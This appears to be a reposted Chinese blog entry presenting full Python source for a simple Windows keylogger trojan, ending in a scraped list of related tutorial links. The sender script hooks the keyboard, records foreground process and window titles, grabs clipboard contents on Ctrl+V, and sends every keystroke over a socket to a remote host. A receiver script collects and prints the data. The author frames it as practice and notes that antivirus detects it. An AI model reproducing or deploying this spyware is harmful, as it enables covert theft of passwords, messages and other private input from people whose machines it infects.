python简易木马(一)
参考链接:
Python编写简易木马程序
参考这个博客来写的
一些具体的问题:
1.配置pyHook模块、ctypes模块,需要这两个木块才能运行成功。
2.将三个模块结合起来要分清client为发送方server为接收方。
结合起来:发送方(被监控者)
# -*- coding:gb2312 -*-from ctypes import* import pythoncom import pyHook import win32clipboard import socket import threadingdef send(message):#目标地址ip/URL及端口target_host = "***.***.***.***"target_port = 9999#创建一个socket对象client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)#连接主机 client.connect((target_host,target_port))#发送数据client.send("GET/HTTP/1.1\r\n"+message+"\r\n\r\n")#接受响应response = client.recv(4096)#-------------------------------------------------- user32 = windll.user32 kernel32 = windll.kernel32 psapi = windll.psapi current_window = Nonedef get_current_process():#获取最上层的窗口句柄hwnd = user32.GetForegroundWindow()#获取进程IDpid = c_ulong(0)user32.GetWindowThreadProcessId(hwnd,byref(pid))#将进程ID存入变量process_id = "%d"%pid.value#申请内存executable = create_string_buffer("\x00"*512)h_process = kernel32.OpenProcess(0x400|0x10,False,pid)psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)#读取窗口标题windows_title = create_string_buffer("\x00"*512)length = user32.GetWindowTextA(hwnd,byref(windows_title),512)#发送message = process_id+" "+executable.value+" "+windows_title.valuesend(message)#关闭handows kernel32.CloseHandle(hwnd)kernel32.CloseHandle(h_process)#定义击键监听事件函数 def KeyStroke(event):global current_window#检测目标窗口是否发生转移(换了其他窗口就监听其他窗口)if event.WindowName != current_window:#函数调用 get_current_process()#检查击键是否为常规按键(非组合键)并发送if event.Ascii >32 and event.Ascii < 127:message = chr(event.Ascii)send(message)else:#如果发现Ctrl+v事件,酒吧粘贴板内容发送if event.Key == "V":win32clipboard.OpenClipboard()pasted_value = win32clipboard.GetClipboardData()win32clipboard.CloseClipboard()message = pasted_valuesend(message)else:send(event.Key)#监听下一个击键事件return True #创建并注册hook管理器 kl = pyHook.HookManager() kl.KeyDown = KeyStroke#注册hook并执行 kl.HookKeyboard() pythoncom.PumpMessages()
接收方:
# -*- coding:gb2312 -*- import socket import threading#监听的ip及端口 bind_ip = "127.0.0.1" bind_port = 9999server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)server.bind((bind_ip,bind_port))server.listen(5)print"[*]Listening on %s:%d"%(bind_ip,bind_port)def handle_client(client_socket):request = client_socket.recv(1024)print"[*]Received:%s"%requestclient_socket.send("ok!")client_socket.close()while True:client,addr = server.accept()print"[*]Accept connection from:%s:%d"%(addr[0],addr[1])client_handler = threading.Thread(target=handle_client,args=(client,))client_handler.start()
就是把三个模块结合,把发送的数据改为记录即可。
未解决问题:
1.哎,没什么用,虽然能实现功能,但是一般的杀毒软件都能检测到程序在监控键盘输入,就当练习玩吧。
2.功能不够完善,没有远程控制功能,把他扔出去就只能接受信息了。
3.未完善鼠标监听和截图功能。
转载于:https://www.cnblogs.com/cxy2016/p/6686202.html
python简易木马(一)相关推荐
- Python编写简易木马程序
0x00 准备 文章内容仅供学习研究.切勿用于非法用途! 这次我们使用Python编写一个具有键盘记录.截屏以及通信功能的简易木马.依然选用Sublime text2 +JEDI(python自动补全 ...
- python编写木马攻击_Python编写简易木马程序
Python编写简易木马程序 0x00 准备 文章内容仅供学习研究.切勿用于非法用途! 这次我们使用Python编写一个具有键盘记录.截屏以及通信功能的简易木马.依然选用Sublime text2 + ...
- 用python做一个木马_Python编写简易木马程序
light · 2015/01/26 10:07 0x00 准备 文章内容仅供学习研究.切勿用于非法用途! 这次我们使用Python编写一个具有键盘记录.截屏以及通信功能的简易木马.依然选用Subli ...
- 如何使用Python编写简易木马程序
这次我们使用Python编写一个具有键盘记录.截屏以及通信功能的简易木马.依然选用Sublime text2 +JEDI(python自动补全插件)来撸代码. 首先 准备好我们需要的依赖库,pytho ...
- 使用Python开发木马程序
使用Python开发木马程序 一.实验介绍 1.1 实验内容 木马程序会给普通用户带来很多危害,比如盗取QQ账号,游戏账号等.课程将用Python实现一个简易的木马程序,该程序会记录用户的键盘输入和屏 ...
- python 简易HTTP服务器搭建
安装Python简易HTTP服务器 大多数Linux/Unix/mac OS操作系统都已默认安装,直接运行以下命令即可,其中"8008"为指定的端口号:如果没有安装python,可 ...
- python局域网大文件_[源码]Python简易http服务器(内网渗透大文件传输含下载命令)...
Python简易http服务器源码 import SimpleHTTPServer import SocketServer import sys PORT = 80 if len(sys.argv) ...
- mayapython开关_Maya Python 简易教程.doc
您所在位置:网站首页 > 海量文档  > 计算机 > Python Maya Python 简易教程.doc25页 本 ...
- Python 简易实现 quoted-printable 编码
参考链接: 网络管理员在线工具 python模块之quopri: quoted-printable编解码 以下有关内容基于 Python 3: Python 简易实现 quoted-printable ...
最新文章
- Go在区块链的发展和演进
- Java 第27章 JDBC
- 基于struts2的登录系统
- Qt Creator测验Testing
- [C++ STL] 各容器简单介绍
- 调试实战 —— dll 加载失败之全局变量初始化篇
- 出现$ref的原因及解决方案
- 的mvc_简述PHP网站开发的MVC模式
- python爬取10个网站_十个Python爬虫武器库示例,十个爬虫框架,十种实现爬虫的方法!...
- 一年级学情分析计算机,小学一年级语文学情分析范文
- iOS12系统图片heic如何在电脑上查看
- android黑屏日志_Android启动页黑屏的解决方案
- Linux之ioctl20160705
- java jdk动态代理 cglib动态代理demo
- 设置Easyui datagrid的pageNumber导致两次请求的解决方案
- 读书笔记(2018年3月)-《卓有成效的管理者》总结
- MATLAB读取图片时报错:“错误使用 fopen 找不到文件,确保文件存在且路径” 的原因及解决方法
- OpenCV+Python 彩色图片的 BGR、灰度图、HSV分量图显示的程序
- 安卓如何查找应用的安装包目录?
- html css超链接字体颜色,HTML-CSS设置超链接颜色字体
热门文章
- eclipse安装SVN插件报错Unable to connect
- 数据段描述符和代码段描述符(一)——《x86汇编语言:从实模式到保护模式》读书笔记10
- python中的 and以及or
- 操作系统(二十一)信号量机制
- 【动态规划】分组背包
- 从并发视角来看智能合约(上)【渡鸦论文系列】
- GAN在Image To Image translation 和Inverse Problem中的应用
- Android代码入侵原理解析(一)
- Blind Return Oriented Programming (BROP) Attack - 攻击原理
- spring boot使用freemarker页面获取系统路径最简配置